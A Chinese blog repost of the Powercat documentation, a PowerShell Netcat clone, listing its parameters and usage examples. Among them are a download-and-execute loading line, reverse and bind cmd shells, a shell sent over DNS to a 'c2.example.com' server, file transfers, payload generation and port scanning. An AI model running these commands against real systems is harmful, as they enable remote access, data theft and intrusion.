首页 > 系统相关 >Powercat 是 Netcat 的 PowerShell 版本

Powercat 是 Netcat 的 PowerShell 版本

时间:2024-03-03 13:44:30浏览次数:29  
标签:10.1 Powercat 1.1 powercat 443 监听器 Netcat 8000 PowerShell

Powercat 是 Netcat 的 PowerShell 版本。支持 Powershell 版本 2 及更高版本。

安装 powercat 是一个 PowerShell 函数。在执行之前,您需要先加载这个函数。您可以将以下命令之一放入您的 PowerShell 配置文件中,这样在 PowerShell 启动时就会自动加载 powercat。

从下载的 .ps1 文件加载函数: . .\powercat.ps1 从 URL 加载函数: IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') 参数: -l 监听连接。 [Switch] -c 连接到监听器。 [String] -p 要连接或监听的端口。 [String] -e 执行。(存在安全漏洞) [String] -ep 执行 PowerShell。 [Switch] -r 中继。格式:"-r tcp:10.1.1.1:443" [String] -u 通过 UDP 传输数据。 [Switch] -dns 通过 DNS 传输数据(dnscat2)。 [String] -dnsft DNS 失败阈值。 [int32] -t 超时选项。默认值:60 [int32] -i 输入:文件路径(字符串)、字节数组或字符串。[object] -o 控制台输出类型:"Host"、"Bytes" 或 "String" [String] -of 输出文件路径。 [String] -d 连接后断开。 [Switch] -rep 重复器。断开连接后重新启动。 [Switch] -g 生成有效载荷。 [Switch] -ge 生成编码的有效载荷。 [Switch] -h 打印帮助信息。 [Switch]

基本连接 默认情况下,powercat 从控制台读取输入,并使用 write-host 将输入写入控制台。您可以使用 -o 将输出类型更改为'Bytes'或'String'。

基本客户端: powercat -c 10.1.1.1 -p 443 基本监听器: powercat -l -p 8000 基本客户端,输出为字节: powercat -c 10.1.1.1 -p 443 -o Bytes

文件传输 可以使用 powercat 使用 -i(输入)和 -of(输出文件)来回传输文件。

发送文件: powercat -c 10.1.1.1 -p 443 -i C:\inputfile 接收文件: powercat -l -p 8000 -of C:\inputfile

Shell powercat 可以用于发送和提供 shell。指定一个可执行文件给 -e,或者使用 -ep 来执行 PowerShell。

提供一个 cmd Shell: powercat -l -p 443 -e cmd 发送一个 cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd 提供一个执行 PowerShell 命令的 shell: powercat -l -p 443 -ep

DNS 和 UDP powercat 支持不仅可以通过 TCP 发送数据。指定 -u 来启用 UDP 模式。也可以使用 -dns 向 dnscat2 服务器发送数据。运行 dnscat2 服务器时,请确保添加 "-e open --no-cache"。

通过 UDP 发送数据: powercat -c 10.1.1.1 -p 8000 -u powercat -l -p 8000 -u 连接到 c2.example.com dnscat2 服务器,使用位于 10.1.1.1 上的 DNS 服务器: powercat -c 10.1.1.1 -p 53 -dns c2.example.comc2.example.com dnscat2 服务器发送一个 shell,使用 Windows 默认的 DNS 服务器: powercat -dns c2.example.com -e cmd

中继 powercat 中的中继工作方式类似于传统的 netcat 中继,但您无需创建文件或启动第二个进程。还可以在不同协议的连接之间中继数据。

TCP 监听器到 TCP 客户端中继: powercat -l -p 8000 -r tcp:10.1.1.16:443 TCP 监听器到 UDP 客户端中继: powercat -l -p 8000 -r udp:10.1.1.16:53 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 使用 Windows 默认 DNS 服务器的 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:::c2.example.com TCP 客户端到客户端中继 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443 TCP 监听器到监听器中继 powercat -l -p 8000 -r tcp:9000

生成有效载荷 可以使用 -g(生成有效载荷)和 -ge(生成编码有效载荷)生成执行特定操作的有效载荷。编码有效载荷可以使用 powershell -E 执行。如果您不想使用所有 powercat,可以使用这些。

生成一个反向 tcp 负载,连接回 10.1.1.15 端口 443: powercat -c 10.1.1.15 -p 443 -e cmd -g 生成一个绑定 tcp 编码命令,监听端口 8000: powercat -l -p 8000 -e cmd -ge

其他用途 powercat 也可用于执行端口扫描,并启动持久性服务器。

基本 TCP 端口扫描器: (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d} 启动一个服务一个文件的持久服务器: powercat -l -p 443 -i C:\inputfile -rep

标签:10.1,Powercat,1.1,powercat,443,监听器,Netcat,8000,PowerShell
From: https://www.cnblogs.com/suv789/p/18049927

相关文章

  • powershell连接sqlite
    试着用powershell连接sqlite数据库,网上搜到RayFerrell的”SQLitewithPowerShell:AStep-by-StepGuidetoDatabaseManagement“一遍,验证有效,就是广告太多不给出链接了。第一步是需要donet驱动(可以看出ms自家的脚本和dotnet的深度集成)到sqlite主页下载System.Data.SQLite,htt......
  • PowerShell 中,你可以使用一些命令来处理映像文件,包括挂载、捕捉、卸载、格式转换和编
    PowerShell中,你可以使用一些命令来处理映像文件,包括挂载、捕捉、卸载、格式转换和编辑映像。以下是一些常用的命令:挂载映像(MountImage):powershellCopyCodeMount-WindowsImage-ImagePath"C:\Path\To\Image.wim"-Path"C:\Mount\Directory"-Index1捕捉映像(CaptureIm......
  • powershell 电源管理命令
    PowerShell中,你可以使用以下命令来管理电源设置:Get-Command-ModulePowerManagement:查看可用的电源管理命令。Get-CimInstance-Namespaceroot\cimv2\power-ClassNameWin32_PowerPlan:获取当前系统中的电源计划信息。Get-CimInstance-Namespaceroot\cimv2\powe......
  • powershell遍历文件获取字段列表
    #指定要搜索的文件夹路径和正则表达式关键字$folderPath="C:\myapp\"$table_list="tblBOM,tblTest"$tables=$table_list.Split(',')foreach($tablein$tables){$regexPattern_field="$table\.(\w+......
  • 寒假学习 14 使用netcat 数据源测试Flume
    1.1  创建netcat.conf 1.2在/usr/flume/flume-1.7.0目录下启动flumeagent出现如下: 1.3启动Flume,在另一个终端(这里称为“Telnet终端”)中,输入命令“telnetlocalhost44444”  当输出错误:bash:telnet:commandnotfound…说明容器中没有telnet,需要下载:......
  • powershell 5 信息收集命令
    PowerShell命令来查看当前用户及其权限:powershellCopyCode#获取当前登录的用户$env:USERNAME#获取计算机名称$env:COMPUTERNAME#检查当前用户是否为管理员([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([S......
  • powershell 获取 CPU RAM DISK 序列号
    PowerShell中获取CPU序列号可以通过WMI(WindowsManagementInstrumentation)来实现。下面是一个示例代码,演示如何在PowerShell中获取CPU序列号:powershellCopyCode#使用WMI获取CPU信息$cpu=Get-WmiObject-ClassWin32_Processor|Select-ObjectName,Processo......
  • powershell 制作工具菜单
    functionmainMenu{$mainMenu='X'while($mainMenu-ne''){Clear-HostWrite-Host"`n`t`tMyScript`n"Write-Host-ForegroundColorCyan"MainMenu"Write-Host-ForegroundColo......
  • Windows bat批处理+PowerShell获取文件日期 和 时分秒
    前言全局说明Windowsbat批处理+PowerShell获取文件秒一、说明二、分开获取日期和时分秒获取bat文件自身的日期时间和时分秒1.源码文件名:get-file-second.bat@echooffchcp65001>nulecho.echo.setbak_file=get-file-second.bat::获取文件修改时间setloc......
  • PowerShell 脚本来监视并自动重新启动崩溃或挂起的应用程序
    PowerShell脚本来监视并自动重新启动崩溃或挂起的应用程序。以下是一个简单的示例脚本,用于监视并重新启动特定的应用程序:powershellCopyCode#设置要监视的应用程序名称$applicationName="YourApplication.exe"#设置检测时间间隔(秒)$checkInterval=5#循环监视应用......